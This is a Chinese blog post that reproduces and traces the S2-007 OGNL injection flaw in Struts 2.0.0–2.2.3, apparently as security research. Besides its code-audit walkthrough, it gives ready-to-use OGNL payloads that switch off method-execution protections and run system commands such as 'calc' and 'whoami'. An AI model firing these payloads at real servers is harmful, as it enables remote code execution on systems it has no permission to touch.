『Java安全』Struts 2.2.3 表单参数类型转换错误OGNL注入漏洞S2-007复现与浅析

漏洞简介

对表单参数使用validator验证时,如果遇到类型错误,参数值会先压入参数栈,之后会取出并被二次ognl解析

影响范围

Struts 2.0.0 - 2.2.3

漏洞复现

环境配置

validation机制参考:

https://www.cnblogs.com/BrowserSnake/p/3745445.html

官网下载对应lib,需要这几个jar:

在这里插入图片描述
写一个最简单的action

在这里插入图片描述
再写一个表单提交到action

在这里插入图片描述
然后创建action,如果输入成功就会显示index内容,输入验证不过则会继续输入,验证未通过的result是input

在这里插入图片描述
然后在action的同目录下创建validation,名称是action类名-validation.xml,这里验证表单提交的参数id必须是int型,且范围是[1,10],如果验证不通过返回message的内容,跳转到result input标签所指定的页面,否则返回success

在这里插入图片描述

复现过程

以下是验证:

'+(111*222)+'

在这里插入图片描述
验证存在后,表单发送:

'+(#_memberAccess.allowStaticMethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec('calc'))+'

在这里插入图片描述

代码审计

漏洞是由于参数类型转换错误为入口触发的,在xwork中有对于类型转换错误的拦截器ConversionErrorInterceptor
在这里插入图片描述
在其intercept方法加断点,首先POST的参数已经在参数栈了

在这里插入图片描述
取出错误的参数,放到空map,放入之前先进行了getOverrideExpr()

在这里插入图片描述
输入的参数用单引号包裹,因此payload有单引号是利用字符串拼接截断了,然后构建了正常ognl表达式

在这里插入图片描述
fakie这个map放到了context

在这里插入图片描述
处理完拦截器后之后,数据会填入前台页面,这里在渲染的时候,通过ComponentTagSupport.doEndTag()方法会解析参数,同S2-001

在这里插入图片描述
首先解析出变量名

在这里插入图片描述
然后解析变量值

在这里插入图片描述
获取值的类型是String,然后把参数名包裹成OGNL表达式,通过OGNL解析来获取值以供渲染用

在这里插入图片描述
ognl解析都是复用util的代码

在这里插入图片描述
来到tryFindValue,expr会变成参数值,然后调用getValue

在这里插入图片描述
最终调用Ognl.getValue()解析单引号截断的表达式,完成注入
在这里插入图片描述
由于类型转换错误以及自定义validator错误,全部都渲染到模板上了,开发者这一步是为了提供一个重新输入的功能,返回到result的name是input

在这里插入图片描述

流程

  • 用单引号和加号包裹payload,'+(xxx)+'
  • 开启allowStaticMethodAccess(可选)
  • 关闭denyMethodExecution

利用

由于S2自带了commons-io,方便了执行任意命令

'+(#_memberAccess.allowStaticMethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))+'

参考

https://cwiki.apache.org/confluence/display/WW/S2-007

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126505065
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值